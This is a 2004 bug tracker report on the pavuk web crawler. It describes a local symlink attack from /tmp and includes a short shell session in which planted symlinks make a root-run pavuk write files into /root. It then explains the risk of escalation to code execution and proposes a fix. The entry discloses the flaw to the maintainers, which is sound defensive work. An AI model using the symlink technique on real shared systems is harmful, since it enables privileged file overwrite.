Menu

#8 symlink attack

open
None
3
2004-12-14
2004-12-14
No

Report from Jan Minar:

Pavuk apparently checks the file permissions, ownership, etc. These
checks seem quite elaborate, judging after the strace -f dump. But are
they elaborate enough to prevent a symlink attack from the /tmp
directory? Maybe they are *too* elaborate?

:/tmp$ ls -ld # Our beloved /tmp
drwxrwxrwt 10 root root 4096 Dec 13 00:15 .
:/tmp$ ls -l # Everything is prepared
total 0
lrwxrwxrwx 1 jan jan 1 Dec 12 23:33 http -> ./
lrwxrwxrwx 1 jan jan 11 Dec 12 23:34 localhost_80 -> /root/s/s/s/
:/tmp$ sudo ls -l /root/s/s/s/ # Look at the victim: pure
total 0
:/tmp$ sudo pavuk http://localhost/
[...snip...]
:/tmp$ ls -l # We're intact
total 0
lrwxrwxrwx 1 jan jan 1 Dec 12 23:33 http -> ./
lrwxrwxrwx 1 jan jan 11 Dec 12 23:34 localhost_80 -> /root/s/s/s/
:/tmp$ sudo ls -l /root/s/s/s/ # They got 0wn3d
total 92
-rw-r--r-- 1 root root 1541 Dec 12 23:48 _._.html
-rw-r--r-- 1 root root 0 Dec 12 23:48 robots.txt
-rw-r--r-- 1 root root 2117 Dec 12 23:48 tn_janhnedy.jpeg
-rw-r--r-- 1 root root 2285 Dec 12 23:48 tn_janzeleny.jpeg
:/tmp$ sudo find /root/s # Another view of the 0wn4g3
/root/s
/root/s/s
/root/s/s/s
/root/s/s/s/robots.txt
/root/s/s/s/_._.html
/root/s/s/s/tn_janhnedy.jpeg
/root/s/s/s/tn_janzeleny.jpeg

When invoked in a world-writable directory owned by the superuser,
such
as is /tmp, pavuk(1) is vulnerable to a local symlink attack. Local
user may create symlinks in this directory and force the superuser to
create files/directories in chosen places. When combined with some
degree of control over the neighboring network or the server the
victim user wants to download from, this vulnerability can be
leveraged
to arbitrary file creation, which, when properly exploited, is
equivalent to code execution with the rights of the victim user.

Pavuk must never follow symlinks owned by a user different from the
current user (maybe there are some exceptions? -- I haven't slept in a
long time). Better yet, pavuk should not follow any symlinks, ever, if
at all possible.

Discussion


Log in to post a comment.

MongoDB Logo MongoDB